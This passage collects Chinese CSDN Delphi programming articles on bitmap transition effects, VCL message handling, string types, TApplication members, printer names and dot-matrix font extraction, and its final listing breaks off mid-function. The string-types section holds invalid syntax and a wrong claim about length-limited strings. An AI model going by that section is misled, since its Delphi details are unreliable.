Rect(0,i-1,bmpwidth,i));
form1.Canvas.Draw(120,100,newbmp);
end;
newbmp.free;
end;
5.百叶窗效果
原理：将放在暂存图形的数据分成若干组，然后依次从第一组到最后一组搬移，第一次每组各搬移第一条扫描线到可视位图的相应位置，第二次搬移第二条扫描线，接着搬移第三条、第四条扫描线.
程序算法：
procedure TForm1.Button6Click(Sender: TObject);
var
newbmp:TBitmap;
i,j,bmpheight,bmpwidth:integer;
xgroup,xcount:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
xgroup:=16;
xcount:=bmpheight div xgroup;
for i:=0 to xcount do
for j:=0 to xgroup do
begin
newbmp.Canvas.CopyRect(Rect
(0,xcount*j+i-1,bmpwidth,xcount*j+i),
image1.Canvas,
Rect(0,xcount*j+i-1,bmpwidth,xcount*j+i));
form1.Canvas.Draw(120,100,newbmp);
end;
newbmp.Free;
end;
6.积木效果
原理：是雨滴效果的一种变化，不同之处在于，积木效果每次搬移的是一块图形，而不只是一根扫描线。
程序算法：
procedure TForm1.Button7Click(Sender: TObject);
var
newbmp:TBitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
i:=bmpheight;
while i>0 do
begin
for j:=10 to i do
begin
newbmp.Canvas.CopyRect(Rect(0,j-10,bmpwidth,j),
image1.Canvas,
Rect(0,i-10,bmpwidth,i));
form1.Canvas.Draw(120,100,newbmp);
end;
i:=i-10;
end;
newbmp.free;
end;
结束语
上述图形显示效果均已上机通过，软件环境Delphi 3.0 ，硬件环境Pentium 100M兼容机。使用效果很好。


CSDN_文档中心_DELPHI中的消息处理机制

DELPHI中的消息处理机制

--------------------------------------------------------------------------------

Delphi 是Borland 公 司 提 供 的 一 种 全 新 的WINDOWS 编 程 开 发 工 具. 由 于 它 采 用 了 具 有 弹 性 的 和 可 重 用 的 面 向 对 象Pascal(object-oriented pascal) 语 言, 并 有 强 大 的 数 据 库 引 擎(BDE), 快 速 的 代 码 编 译 器, 同 时 又 提 供 了 众 多 出 色 的 构 件. 受 到 广 大 编 程 人 员 的 青 睐. 在 众 多 的 编 程 语 言( 如VB,PowerBuilder,Powerpoint 等) 中 脱 颖 而 出. 其 中 一 个DELPHI 强 于 其 他 编 程 语 言( 如VB4.0) 的 地 方 就 是 在DELPHI 中 可 自 定 义 消 息, 并 可 直 接 处 理 消 息. 这 对 于 那 些 希 望 编 写 自 己 的 构 件(Component), 或 者 希 望 截 获. 过 滤 消 息 的 用 户 来 说 是 必 不 可 少 的. 因 为 编 写 构 件 一 般 要 对 相 应 的 消 息 进 行 处 理. 下 面 就 对Delphi 中 消 息 处 理 机 制 进 行 一 下 介 绍。

一.DELPHI VCL 中 消 息 的 传 递

Delphi 中 每 一 个VCL(Visual Component Library) 构 件( 如Tbutton,Tedit 等) 都 有 一 内 在 的 消 息 处 理 机 制， 其 基 本 点 就 是 构 件 类 接 收 到 某 些 消 息 并 把 它 们 发 送 给 适 当 的 处 理 方 法, 如 果 没 有 特 定 的 处 理 方 法， 则 调 用 缺 省 的 消 息 处 理 句 柄。

其 中mainwndproc 是 定 义 在Twincontrol 类 中 的 一 个 静 态 方 法， 不 能 被 重 载(Override)。 它 不 直 接 处 理 消 息， 而 是 交 由wndproc 方 法 处 理， 并 为wndproc 方 法 提 供 一 个 异 常 处 理 模 块。Mainwndproc 方 法 声 明 如 下:

procedure MainWndProc(var Message: TMessage);

Wndproc 是 在Tcontrol 类 中 定 义 的 一 个 虚 拟 方 法, 由 它 调 用dispatch 方 法 来 进 行 消 息 的 分 配, wndproc 方 法 声 明 如 下:

procedure WndProc(var Message: TMessage); virtual;

dispatch 方 法 是 在Tobject 根 类 中 定 义 的, 其 声 明 如 下:

procedure Tobject.dispatch(var Message); 传 递 给dispatch 的 消 息 参 数 必 须 是 一 个 记 录 类 型, 且 这 个 记 录 中 第 一 个 入 点 必 须 是 一 个cardinal 类 型 的 域(field), 它 包 含 了 要 分 配 的 消 息 的 消 息 号 码. 例 如:

type

Tmessage=record

Msg:cardinal;

wparam:word;

lparam:longint; .

result:longint;

end;

而Dispatch 方 法 会 根 据 消 息 号 码 调 用 构 件 的 最 后 代 类 中 处 理 此 消 息 的 句 柄 方 法. 如 果 此 构 件 和 它 的 祖 先 类 中 都 没 有 对 应 此 消 息 的 处 理 句 柄,Dispatch 方 法 便 会 调 用Defaulthandler 方 法.Defaulthandler 方 法 是 定
义 于Tobject 中 的 虚 拟 方 法, 其 声 明 如 下:

procedure Defaulthandler(var Message);virtual;

Tobject 类 中 的Defaulthandler 方 法 只 是 实 现 简 单 的 返 回 而 不 对 消 息 进 行 任 何 的 处 理. 我 们 可 以 通 过 对 此 虚 拟 方 法 的 重 载, 在 子 类 中 实 现 对 消 息 的 缺 省 处 理. 对 于VCL 中 的 构 件 而 言, 其Defaulthandler 方 法 会 启
动 windows API 函 数Defwindowproc 对 消 息 进 行 处 理.

二.DELPHI 中 的 消 息 处 理 句 柄

在DELPHI 中 用 户 可 以 自 定 义 消 息 及 消 息 处 理 句 柄. 消 息 处 理 句 柄 的 定 义 有 如 下 几 个 原 则:

1.消 息 处 理 句 柄 方 法 必 须 是 一 个 过 程, 且 只 能 传 递 一 个Tmessage 型 变 量 参 数. 2.方 法 声 明 后 要 有 一 个message 命 令, 后 接 一 个 在0 到32767 之 间 的 消 息 标 号( 整 型 常 数). 3.消 息 处 理 句 柄 方 法 不 需 要 用override 命 令 来 显 式 指 明 重 载 祖 先 的 一 个 消 息 处 理 句 柄, 另 外 它 一 般 声 明 在 构 件 的protected 或private 区. 4.在 消 息 处 理 句 柄 中 一 般 先 是 用 户 自 己 对 消 息 的 处 理, 最 后 用inherited 命 令 调 用 祖 先 类 中 对 应 此 消 息 的 处 理 句 柄（ 有 些 情 况 下 可 能 正 相 反）. 由 于 可 能 对 祖 先 类 中 对 此 消 息 的 处 理 句 柄 的 名 字 和 参 数 类 型 不 清 楚, 而 调 用 命 令inherited 可 以 避 免 此 麻 烦, 同 样 如 果 祖 先 类 中 没 有 对 应 此 消 息 的 处 理 句 柄,inherited 就 会 自 动 调 用Defaulthandler 方 法.（ 当 然 如 果 要 屏 蔽 掉 此 消 息, 就 不 用inherited 命 令 了）。

消 息 处 理 句 柄 方 法 声 明 为：
procedure Mymsgmethod(var message:Tmessage); message Msgtype;

同 样 用 户 也 可 以 定 义 自 己 的 消 息, 用 户 自 定 义 消 息 应 从WM_USER 开 始.

自 定 义 消 息 及 消 息 处 理 句 柄 举 例 如 下:

const my_paint=Wm_user+1;

type

Tmypaint=record

msgid:cardinal;

msize:word;

mcolor:longint;

msgresult:longint;

end;

type

Tmycontrol=class(TCustomControl)

protected

procedure change(var message:Tmypaint); message my_paint;

.....

end;

......

procedure Tmycontrol.change(var message:Tmypaint);

begin

size:=message.msize; { 设 置Tmybutton 尺 寸 属 性}

color:=message.mcolor; { 设 置Tmybutton 颜 色 属 性}

{do something else}

inherited; { 交 由Tcustomcontrol 处 理}

end;

三. 过 滤 消 息

过 滤 消 息 又 称 消 息 陷 阱。 在 一 定 情 况 下， 用 户 可 能 需 要 屏 蔽 某 些 消 息. 或 者 截 获 某 些 消 息 进 行 处 理。 由 以 上 介 绍 可 以 看 出 过 滤 消 息 一 般 有 三 种 途 径：(1). 重 载 构 件 继 承 的 虚 拟 方 法wndproc. (2). 针 对 某
消 息 编 写 消 息 处 理 句 柄. (3). 重 载 构 件 继 承 的 虚 拟 方 法Defhandler， 在 其 中 对 消 息 进 行 处 理。 其 中 常 用 的 方 法 是 方 法(2), 在 上 节 中 已 介 绍 过 了， 方 法(1) 与 方 法(3) 相 似， 这 里 只 简 单 介 绍 一 下 方 法(1)。

重 载 虚 拟 方 法wndproc 的 一 般 过 程 如 下：

procedure Tmyobject.wndproc(var message:Tmessage);

begin

{... 判 断 此 消 息 是 否 该 处 理..}

inherited wndproc(message);

{ 未 处 理 的 消 息 交 由 父 辈wndproc 方 法 处 理}

end;

由 此 可 以 看 出 在wndproc 方 法 中 处 理 消 息 的 优 势 是 可 以 过 滤 整 个 范 围 内 的 消 息， 而 不 必 为 每 个 消 息 指 定 一 个 处 理 句 柄， 事 实 上Tcontrol 构 件 中 就 是 利 用 它 来 过 滤 并 处 理 所 有 的 鼠 标 消 息 的(
从WM_mousefirst 到WM_mouselast， 如 下 代 码 示). 同 样 利 用 它 也 可 以 阻 止 某 些 消 息 被 发 送 给 处 理 句 柄。

procedure TControl.WndProc(var Message: TMessage);

begin

if (Message.Msg>=WM_MOUSEFIRST) and

(Message.Msg <= WM_MOUSELAST)

then

if Dragging then { 处 理 拖 曳 事 件}

DragMouseMsg(TWMMouse(Message))

else

... { 处 理 其 他 鼠 标 消 息}

end;

Dispatch(Message);

{ 否 则 正 常 发 送 消 息}

end;

下 例 为 一 简 单 的 自 定 义 构 件 例 子 ：

Tmyedit 类 是 从Tedit 类 派 生 出 的 一 个 新 类， 它 的 特 点 是 在 运 行 中 不 能 获 得 焦 点， 不 能 由 键 盘 输 入（ 有 点 类 似Tlabel 构 件）. 我 们 可 在 其wndproc 方 法 中 过 滤 出WM_setfocus,WM_mousemove 消 息 并 进 行 处 理 来 达 到 上 述
要 求， 源 程 序 如 下：

unit myedit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics,

Controls, Forms, Dialogs,

StdCtrls;

type

Tmyedit = class(TEdit)

private

{ Private declarations }

protected

{ Protected declarations }

{ other fields and methods}

procedure wndproc(var message:Tmessage);override;

public

{ Public declarations }

published

{ Published declarations }

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [Tmyedit]);

end;

procedure Tmyedit.wndproc(var message:tmessage);

begin

if message.msg=wm_mousemove then

begin

cursor:=crarrow;

{ 设 置 光 标 为crarrow, 而 不 是 缺 省 的crBeam 光 标}

exit;

end;

if message.msg=wm_SetFocus then exit;

{屏蔽掉WM_setfocus消息,不让Tmyedit控件获得输入焦点}

inherited wndproc(message);

{其他消息交父辈wndproc处理}

end;

end.

您 可 以 将Tmyedit 加 到Component Palette 中 检 验 其 性 能。
由 以 上 介 绍 可 以 看 出， 只 有 清 楚 了Delphi VCL 中 的 消 息 处 理 机 制， 掌 握 好 处 理 各 种 消 息 的 方 法 和 时 机（ 必 要 时 要 借 助 各 种 工 具， 如winsight32,spy 等）， 并 结 合OOP 语 言 的 特 点， 我 们 才 可 能 编 出 高 质 量 的 构 件。 这 当 然 要 靠 读 者 在 实 践 中 不 断 摸 索， 积 累 经 验。

南京理工大学自控系研96 马勇


CSDN_文档中心_delphi中的字符串处理，以及几个字符串类型的说明。

大家对有object pascal的字符串可能您经常用AnsiString其他的字符串一般很少用到。

下面举几个字符串的几个类型：

AnsiSring 这是Pascal的默认类型。其长度没有限制的。并且字符串结束是以null结尾。也就是以'/0'结尾。

ShortSring是为了与Delphi以前的版本保持兼容性。其长度限制在255个字符之内的。

WideSring与AnsiString类似，但它是由WideChar字符组成的。
PChar指向null结束的字符串的指针。类似于c里面的char*或者lpstr.
PAnsiChar指向以null结束的AnisChar结束的字符串指针。
PWideChar指向以null结束的WideChar的字符串的指针。
缺省情况下是AnisSring的类型：
var
 S:String;
也可以有编译器开关$H来将String类型定义为ShortString类型：例子
var
 {$H-}
 s1:=string;//s1是shortstring类型
 {$H+}
 s2:=string;//s2是sring类型
但是当特定指定的字符串的长度，长度要小于255的时候，其用{$H}的时候总是AnsiSring
例子：
var
    s:string[254];
下面我要讲讲这些类型的各自用法：
1、AnisSring类型
它是动态分配的并且有自动回收功能。这个功能被称为生存期自管理功能。不用象c中的中间结果
由于AnisSring类型的字符串以null结尾的，因此可以与Win32Api兼容。实际上AnisSring是
指向在堆栈中的字符串结构的指针。


CSDN_文档中心_Delphi中关于TApplication类的详解

Delphi中关于TApplication类的详解

    TApplication是Delphi应用程序的类型，该类是从TComponent继承，在单元Forms中声明。并且在Forms中有个公用的对象Application。其方法和属性集中包括了 Windows操作系统中创建、运行和销毁应用程序等既定的基本操作和属性，因此在用Delphi编写 Windows应用程序时简化了用户和Windows环境之间的接口。TApplication封装了以下四个功能：

1、Windows消息处理。

2、菜单加速和键盘处理。

3、异常处理。

4、上下文联机帮助。

下面就向大家介绍TApplication中的常用属性、方法和事件。

1、属性

1． 1属性Active

属性Active指明了应用程序是否处于活动状态且拥有焦点。定义如下：

    property Active: Boolean;

Active是只读属性。当应用程序是活动状态时Active为True，否则为False。TApplica-tion的构造器(constructor) 置Active为True。如果窗口或应用程序拥有焦点，那么该应用程序是活动的。当其它应用程序的窗口成为活的时，当前应用程序即为非活动的。应用程序关闭时TApplication的析构器(destructor) 置Active为False。

在应用程序中，可以用一个计时器(TTimer)来检查属性Active的值，从而确定当前的应用程序是否是活动状态，以便作出相应的处理。也可以在事件OnActive和事件OnDeactive中定义指定的操作。

1．2属性DialogHandle

    属性DialogHandle提供使Delphi应用程序使用非Delphi对话框的一种机制。定义如下：

    property DialogHandle: HWnd;

当使用API函数CreateDialog创建一个非模式化对话框时需要使用 DialogHandle，并且需要查看应用程序消息循环中的消息以进行相应的操作。比如，当一个非模式化对话框收到一条激活消息(WM_NCACTIVATE)时可以将其句柄赋值到 DialogHandle，当对话框收到一条解除激活消息时置DialogHandle为0。

1．3属性ExeName

    属性ExeName包含了可执行的应用程序文件名极其路径信息。定义如下：

    property ExeName: string;

     ExeName是只读属性。使用ExeName能够得到应用程序可执行文件的文件名。

这是一个很有用的属性。例如，运行光盘中的应用程序 f:\media\myapp.exe 时，可能需要访问目录 f:\media\data\ 中的文件或者确定应用程序所在的驱动器盘符。 这时可以使用Delphi提供的函数ExtractFilePath和ExtractFileName对属性ExeName 进行解析，从而得到需要的信息。

1．4属性Handle

    属性Handle提供了对应用程序主窗口句柄的访问。定义如下：

    property Handle: HWND;

当调用一个需要父窗口句柄的 Windows API函数时需要使用Handle属性。例如，应用程序中某个动态链接库(DLL) 可能需要父窗口句柄以使得其自身能够弹出并且显示在最前端。使用Application.Handle构成应用程序的若干窗口，使得这些窗口在应用程序中能够被最小化、恢复、有效或无效。注意：编写一个使用 VCL窗体的动态链接库时，应将主运行程序中主窗口的句柄赋值到该动态链接库的Application.Handle属性。这样就使得动态链接库的窗体成为主应用程序的一部分。需要特别指出的是，永远不要在EXE应用程序中给Application.Handle赋值。

1．5属性HelpFile

    属性HelpFile指明了应用程序用于显示帮助内容的文件名。定义如下：

    property HelpFile: string;

使用HelpFile是为了应用程序拥有一个使用标准Windows帮助系统的帮助文件。Windows显示由HelpFile属性指明的帮助文件。要让应用程序实现这一点，必须在运行时为HelpFile属性赋予一个文件名的值，或者在设计时Project|Options对话框的Application页面中指定一个帮助文件。默认情况下，HelpFile是一个空串('')，并且应用程序的帮助方法忽略所有的试图显示帮助。如果HelpFile包括任何内容，帮助主题的方法将根据文件名调出 Windows帮助系统以提供联机帮助。

    注意：如果活动窗口的帮助文件已指定，则该文件将优先于应用程序的帮助文件显示。

1．6属性Hint

    属性Hint指明了出现在帮助提示框(Help Hint box)中的文本字符串。定义如下：

    property Hint: string;

TApplication.Hint属性就是鼠标正在移动经过的控件或菜单项的 Hint值。该属性也能被赋予一个向用户提供动作、错误或其它信息的字符串值。因此，使用Hint属性也能够：从控件传递提示信息到另一显示区，例如通过OnHint事件句柄将提示显示到状态栏中。这时是读取Hint属性。当应用程序正在进行某一动作时简要描述其状态。这时是设置Hint属性。当OnHint事件发生时帮助提示才出现。因此，即使TApplication的Hint属性被赋予状态栏的标题，例如状态栏控件的标题显示Hint属性的当前字符串值，也应归于OnHint事件。

Hint字符串包括两部分：短提示和长提示。短提示用于简洁的弹出提示；长提示与短提示之间用竖线"|"隔开，用于在状态栏中显示较详细的提示信息。可以使用单元 Controls中提供的字符串函数GetShortHint和GetLongHint从Hint属性中分解得到短提示和长提示。

注意：当应用程序通过设置Hint属性向用户提供某一事件发生的信息时应当切记，默认情况下，当鼠标移动经过某一控件时，Hint字符串被复位到该控件的Hint属性值。

1．7属性HintHidePause

属性HintHidePause 指定了鼠标尚未从控件或菜单项上移开、在隐藏帮助提示之前的时间间隔。定义如下：

    property HintHidePause: Integer;

用HintHidePause以毫秒为单位指定等待时间，在TApplication 的构造器中该属性被置为2500毫秒(2.5秒)。控件或菜单项的帮助提示在Hint属性中指定。

注意：默认应将HintHidePause的值预先确定为HintPause属性值的3到5倍较合适。

1．8属性MainForm

    属性MainForm唯一标识了应用程序的主窗体。定义如下：

    property MainForm: TForm;

属性MainForm指定的窗体不一定等同于应用程序的主窗口。属性MainForm的值一定是由方法CreateForm创建的所有窗体中的第一个窗体，但该窗体未必是应用程序的主窗口。新建一个工程时，MainForm属性值自动置为Form1。在设计时可通过Project|Options对话框中的Forms页面在多个窗体中指定其中之一为MainForm。在运行时是不能修改MainForm属性的，因为该属性是只读的。主窗体是应用程序主题创建的第一个窗体。主窗体关闭即应用程序终止。在应用程序中，可以调用方法Application.MainForm.Close来终止应用程序运行，可以获取Application.MainForm.Top、Application.MainForm.Left 等属性的值从而确定当前活动窗口的位置以及尺寸等。

1．9属性ShowMainForm

    属性ShowMainForm确定了是否在应用程序启动时显示主窗体。定义如下：

    property ShowMainForm: Boolean;

应用程序用ShowMainForm属性控制是否以及何时显示其主窗体。TApplication的构造器置ShowMainForm为True。默认情况下主窗体将被显示，MainForm属性中指明了主窗体。

如果需要在应用程序启动时隐藏主窗体，那么应在主工程文件中调用 Application.Run之前置ShowMainForm为False，并且确信主窗体的Visible属性值为False。这在许多实现OLE自动化服务器是很有用的，比如在启动自动化服务时隐藏服务器程序的主窗体。

另外，如果需要在应用程序启动时显示一个闪出图片(Flash) 并为应用程序的环境做一些准备，同时需要禁止主窗体显示，这也可以利用属性ShowMainForm来实现。比如Delphi启动时就禁止了主窗体的显示。

1．10属性Terminated

    属性Terminated报告程序是否收到终止程序的Windows消息WM_QUIT。定义如下：

    property Terminated: Boolean;

Terminated是只读属性。该属性主要用于调用ProcessMessages 方法时应用程序不必在停止后试图处理Windows 消息。当ProcessMessages方法收到消息WM_QUIT时，Terminated将被置为True。

    Delphi应用程序总会因为主窗体或应用程序关闭，或者因为Terminate 方法被调用而收到消息WM_QUIT。

    当应用程序执行强度较大、占用系统资源较多的运算时，应当周期性地调用Applicati-on.ProcessMessages方法，并检查属性Application.Terminated以确定是否需要终止运算从而终止应用程序。

1．11属性UpdateFormatSettings

属性UpdateFormatSettings指明了当用户改变系统配置时应用程序是否自动更新格式设置。定义如下：

    property UpdateFormatSettings: Boolean;

    使用UpdateFormatSettings属性应用程序可以控制自动更新格式设置。TApplication的构造器置该属性为True。当应用程序收到消息WM_WININICHANGE时将检查UpdateFormatSett-ings属性。建议使用默认的格式设置，也就是Windows本地的设置。可以置UpdateFormatSe-ttings为False以避免在Delphi应用程序执行期间改变格式设置。

1．12属性UpdateMetricSettings

属性UpdateMetricSettings属性指明是否对提示窗口字体和图标标题等相关设置进行更新。定义如下：

    property UpdateMetricSettings: Boolean;

    UpdateFormatSettings属性指明系统中提示窗口字体和图标标题等设置改变是否反映到应用程序中相关设置的改变。TApplication的构造器置UpdateMetricSettings的初始值为True。

2、方法

2．1方法BringToFront

方法BringToFront设置应用程序中最近一次的活动窗口到桌面上所有窗口的最前端。其定义如下：

    procedure BringToFront;

    用BringToFront方法可以找到属于主窗体的最近一次的活动窗口并且将其置于最前端。BringToFront方法也可以测试和查看一个窗口在成为最前端窗口之前是否是可见 (Visible) 和有效的(Enabled) 。 例如，当应用程序收到邮件时，可能需要将专门的处理程序激活并置于Windows 桌面的最前端。这时就可以调用Application.BringToFront方法来实现。

2．2方法CreateForm

    方法CreateForm方法用于创建新的窗体(form)。定义如下：

    procedure CreateForm(FormClass: TFormClass; var Reference);

Delphi应用程序总会调用CreateForm方法。因此程序员很少有必要直接调用CreateForm方法。一个典型的Delphi工程在工程的主体代码部分包括一处或多处调用CreateForm方法，并且在使用窗体设计器时自动控制窗体的创建。也可以在运行时可以调用CreateForm方法来动态创建窗体。CreateForm方法根据FormClass 参数创建一个新的指定的窗体并且将窗体赋予到变量参数Reference。 新创建的窗体的所有者就是对象Application。 应用程序将第一个调用CreateForm 创建的窗体默认为工程的主窗体。

2．3方法HandleException

    方法HandleException为应用程序的异常提供默认的句柄。定义如下：

    procedure HandleException(Sender: TObject);

方法HandleException 对于编写特定组件的作者来说是很有用的，因为它可以产生一个不必对Windows 消息产生响应的事件。在应用程序中可以利用OnException 事件句柄将其它的异常操作控制在自定义的代码中。在应用程序代码中，如果异常跳过了所有的try 块，那么应用程序将自动调用HandleE-xception方法，并将显示一个提示有错误发生的对话框。除非异常对象是EAbort，此时Han-dleException将调用OnException句柄(如果存在)，否则将调用ShowException显示一个提示有错误发生的对话框。

2．4方法UnhookMainWindow

UnhookMainWindow方法用于释放由HookMainWindow方法挂在主窗体的程序。定义如下：

    type TWindowHook = function(var Message: TMessage): Boolean of object;

    procedure UnhookMainWindow(Hook: TWindowHook);

用UnhookMainWindow可以释放挂钩窗口。在参数Hook中指明对话框过程。　　TwindowHook 类型是调用HookMainWindow方法的参数。该参数是非Delphi对话框中调用对话程序的方法指针。对话程序与窗口程序相似，都是为对话框处理消息，只是语法不同。

3、事件

3．1事件OnActivate

    当应用程序成为活动状态时OnActivate事件发生。定义如下：

    type TNotifyEvent = procedure (Sender: TObject) of object;

    property OnActivate: TNotifyEvent;

用OnActive事件编写一个事件句柄来完成当应用程序成为活动状态时指定特别的处理。当一个Windows 应用程序最初运行时或其焦点从另一个Windows 应用程序转移回到当前应用程序时，该应用程序成为活动状态。

3．2事件OnDeactivate

    当应用程序成为非活动状态时OnDeactivate事件发生。定义如下：

    type TNotifyEvent = procedure (Sender: TObject) of object;

    property OnDeactivate: TNotifyEvent;

在应用程序成为非活动状态之前可以立即触发OnDeactive事件，从而完成在该事件句柄中指定的特别处理。当用户从当前应用程序转换到另一应用程序时，当前应用程序的OnDeactive事件即发生。

3．3事件OnException

    当应用程序中的某个无句柄的异常发生时事件OnException发生。定义如下：

    type TExceptionEvent = procedure (Sender: TObject; E: Exception) of object;

    property OnException: TExceptionEvent;

    可以通过OnException 事件来改变在应用程序中无句柄的异常发生时的默认动作。在方法TApplication.HandleException方法中，OnException 事件句柄被自动调用。

    OnException 事件仅用于处理在进行消息处理时发生的异常。在Application.Run 执行前或执行后发生的异常不会导致OnException事件发生。

    如果某个异常在应用程序代码的try 块中被忽略，那么应用程序将自动调用HandleException方法。除非异常对象是EAbort，此时HandleException 将调用OnException句柄(如果存在)， 否则将调用ShowException 显示一个提示有错误发生的对话框。TExceptionEvent类型是OnException事件的类型，该类型在应用程序中指向一个处理异常的方法。参数Sender是引发异常的对象，而参数E 是异常对象。

3．4事件OnHelp

    当应用程序收到帮助请求时OnHelp事件发生。定义如下：

type THelpEvent = function (Command: Word; Data: Longint; var CallHelp: Boolean): Boolean of object;

    property OnHelp: THelpEvent;

    用OnHelp编写一个事件句柄以完成有请求帮助时特别的处理。HelpContext方法和HelpJump方法自动引发OnHelp事件。在事件发生之后置CallHelp为True使VCL调用WinHelp；置CallHelp为False以防止VCL调用WinHelp。 Delphi应用程序中所有与帮助有关的方法都经过OnHelp事件。仅当OnHelp事件中的CallHelp参数返回True或OnHelp事件没有被指定到有效的句柄时，WinHelp被调用。

3．5事件OnHint

当鼠标指针移动经过某个控件或菜单项并且该控件或菜单项能够显示帮助提示时，事件OnHint发生。定义如下：

    type TNotifyEvent = procedure (Sender: TObject) of object;

    property OnHint: TNotifyEvent;

    用OnHint编写的事件句柄能够在OnHint事件发生时执行指定的操作。当用户停放鼠标指针在某个控件上，并且该控件的Hint属性值不是空串('')，这时OnHint事件将发生。通常用OnHint事件显示控件或菜单项Hint属性的值作为某个面板控件(如TStatusBar)的标题，因此把面板(panel) 用作状态栏(status bar)。当OnHint事件发生时，Hint属性通常被指定为一个帮助提示(Help Hint)和一个在别处显示的长提示(longer hint)。

3．6事件OnIdle

    当应用程序成为空闲状态时OnIdle事件发生。定义如下：

    type TIdleEvent = procedure (Sender: TObject; var Done: Boolean) of object;

    property OnIdle: TIdleEvent

    用OnIdel编写一个事件句柄当应用程序空闲时完成指定的操作。当应用程序不执行任何代码时即为空闲的。例如，当应用程序等待用户输入时该应用程序是空闲的。　　TIdelEvent类型是OnIdel事件的类型，它指向一个当应用程序空闲时运行的方法。对象TIdelEvent有一个默认为True的布而变量Done。当Done为True时，Windows API 函数WaitMessage将在OnIdel返回时被调用。WaitMessage 使其它应用程序得到控制焦点直到应用程序的消息队列中出现一条新的消息。当参数Done为False 且应用程序不忙时，应用程序不会使其它应用程序得到控制焦点。当应用程序转为空闲状态时，OnIdel事件仅发生一次，直到参数Done置为True才可能发生下一次OnIdel事件。应用程序置Done为False消除了紊乱的CPU时间计数，而该计数可能影响整个系统的性能。

3．7事件OnMessage

当应用程序收到WINDOWS消息时产生，定义如下：

type TMessageEvent = procedure (var Msg: TMsg; var Handled: Boolean) of object;

property OnMessage: TmessageEvent

用于接收WINDOWS消息，该事件能接收程序向WINDOWS发送的所有消息。应用程序接收到一个消息时产生该事件。变量Msg是WINDOWS消息类型。


CSDN_文档中心_Delphi中获取打印机设备名和端口名

uses Printers;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
pDevice : pChar;
pDriver : pChar;
pPort : pChar;
hDMode : THandle;
begin
if PrintDialog1.Execute then begin
GetMem(pDevice, cchDeviceName);
GetMem(pDriver, MAX_PATH);
GetMem(pPort, MAX_PATH);
Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
if lStrLen(pDriver) = 0 then begin
GetProfileString('Devices', pDevice, '', pDriver, MAX_PATH);
pDriver[pos(',', pDriver) - 1] := #0;
end;
if lStrLen(pPort) = 0 then begin
GetProfileString('Devices', pDevice, '', pPort, MAX_PATH);
lStrCpy(pPort, @pPort[lStrLen(pPort)+2]);
end;
Memo1.Lines.Add('Device := ' + StrPas(pDevice));
Memo1.Lines.Add('Driver := ' + StrPas(pDriver));
Memo1.Lines.Add('Port := ' + StrPas(pPort));
FreeMem(pDevice, cchDeviceName);
FreeMem(pDriver, MAX_PATH);
FreeMem(pPort, MAX_PATH);
end;
end;


CSDN_文档中心_Delphi中建立指定大小字体和读取该字体点阵信息的函数

Delphi中建立指定大小字体和读取该字体点阵信息的函数

作者：Thermometer
Email: webmaster@daheng-image.com

    由于要控制硬件，需要把矢量的汉字转化为点阵信息写入eprom或在液晶屏上显示，因此用Delphi写了如下的函数，可以把指定的一个汉字（两个字符）转化为点阵信息保存到文件，每个点对应一个二进制位，有文字信息该位为1,否则为0。

    目前该函数可以生成指定大小的汉字并可读取点阵字模信息保存到文件。

    如ConvertToMatrix(Pchar('北'),6,18,'Font.dat')将生成12*18点阵文件Font.dat，其中保存汉字‘北’的字模信息。文件格式是从上到下，先行后列，如下图，第一行保存为00 00，第二行是90 00 （均是16进制，余下个行类推）

//转化一个汉字为点阵信息。参数Text为一个汉字，ChrWidth是字符宽，汉字是两个字符大小，所以如果要生成宽是12的汉字则ChrWidth为6，ChrWidth目前最多是8，因为大多数的硬件使用的点阵信息是16以下ChrHeight是汉字的高，SaveFileName是保存该汉字点阵信息的文件名。
function ConvertToMatrix(Text:PChar;
ChrWidth,ChrHeight:Byte; SaveFileName:Pchar):Bool;
type
PBITMAPINFO=^TBitmapInfo;
var
TempBmp:TBitmap;
lpvSBits,lpvDBits:Pchar;
dOffset,sOffset:integer;
DC:HDC;
TheFont: HFont;

BMIInfo:PBITMAPINFO;
DS: TDIBSection;
BMIbuf:array[0..2047]of byte;

i,j:integer;//循环控制

wData:WORD;//保存字体每行的点阵信息，最多16位，不足16位忽略多余的高位

MemoryStream:TMemoryStream;

begin
//大于一个字退出
if Length(Text)>2 then
begin
ShowMessage('请转化一个汉字！');
Result:=False;
Exit;
end;
//参数合理否
if (ChrWidth=0) or (ChrHeight=0) or (SaveFileName = '') then
begin
ShowMessage('参数错误！');
Result:=False;
Exit;
end;
//建立流
MemoryStream:=TMemoryStream.Create;
//建立临时文件
TempBmp:=TBitmap.Create;
//设定为256色
TempBmp.PixelFormat:= pf8bit;
//设定图宽度
TempBmp.Width:=ChrWidth * Length(Text);
//设定图高度
TempBmp.Height:= ChrHeight;
//得到BMP文件HDC
DC:=TempBmp.Canvas.Handle;
//建立逻辑字体
TheFont := CreateFont(ChrHeight,ChrWidth, 0, 0, 400, 0, 0, 0,
GB2312_CHARSET, Out_Default_Precis, Clip_Default_Precis,
Default_Quality, Default_Pitch OR FF_SCRIPT, 'script');
//指定字体给DC
SelectObject(DC,TheFont);
//写入指定字符串
TextOut(DC,0,0,Pchar(Text),Length(Text));
//释放逻辑字体
DeleteObject(TheFont);

//取得Bmp信息到lpvSBits
BMIInfo:=PBITMAPINFO(@BMIbuf);
//分配内存
lpvSBits:=AllocMem(TempBmp.Width*TempBmp.Height);
lpvDBits:=AllocMem(TempBmp.Width*TempBmp.Height);
//建立程序屏幕兼容的DC
DC := CreateCompatibleDC(0);
//返回指定的BMP信息到DS中保存
GetObject(TempBmp.Handle, SizeOf(DS), @DS);
//读取头信息
BMIInfo.bmiHeader:=ds.dsBmih;
//读入DIB
GetDIBits(DC, TempBmp.Handle, 0, ds.dsBmih.biHeight,lpvSBits,
BMIInfo^ , DIB_RGB_COLORS);
//倒置图像
for i:=0 to TempBmp.Height-1 do
begin
sOffset:=i*TempBmp.Width;
dOffset:=(TempBmp.Height-i-1)*TempBmp.Width;
CopyMemory(lpvDBits+dOffset,lpvSBits+sOffset,TempBmp.Width);
end;
//保存文件
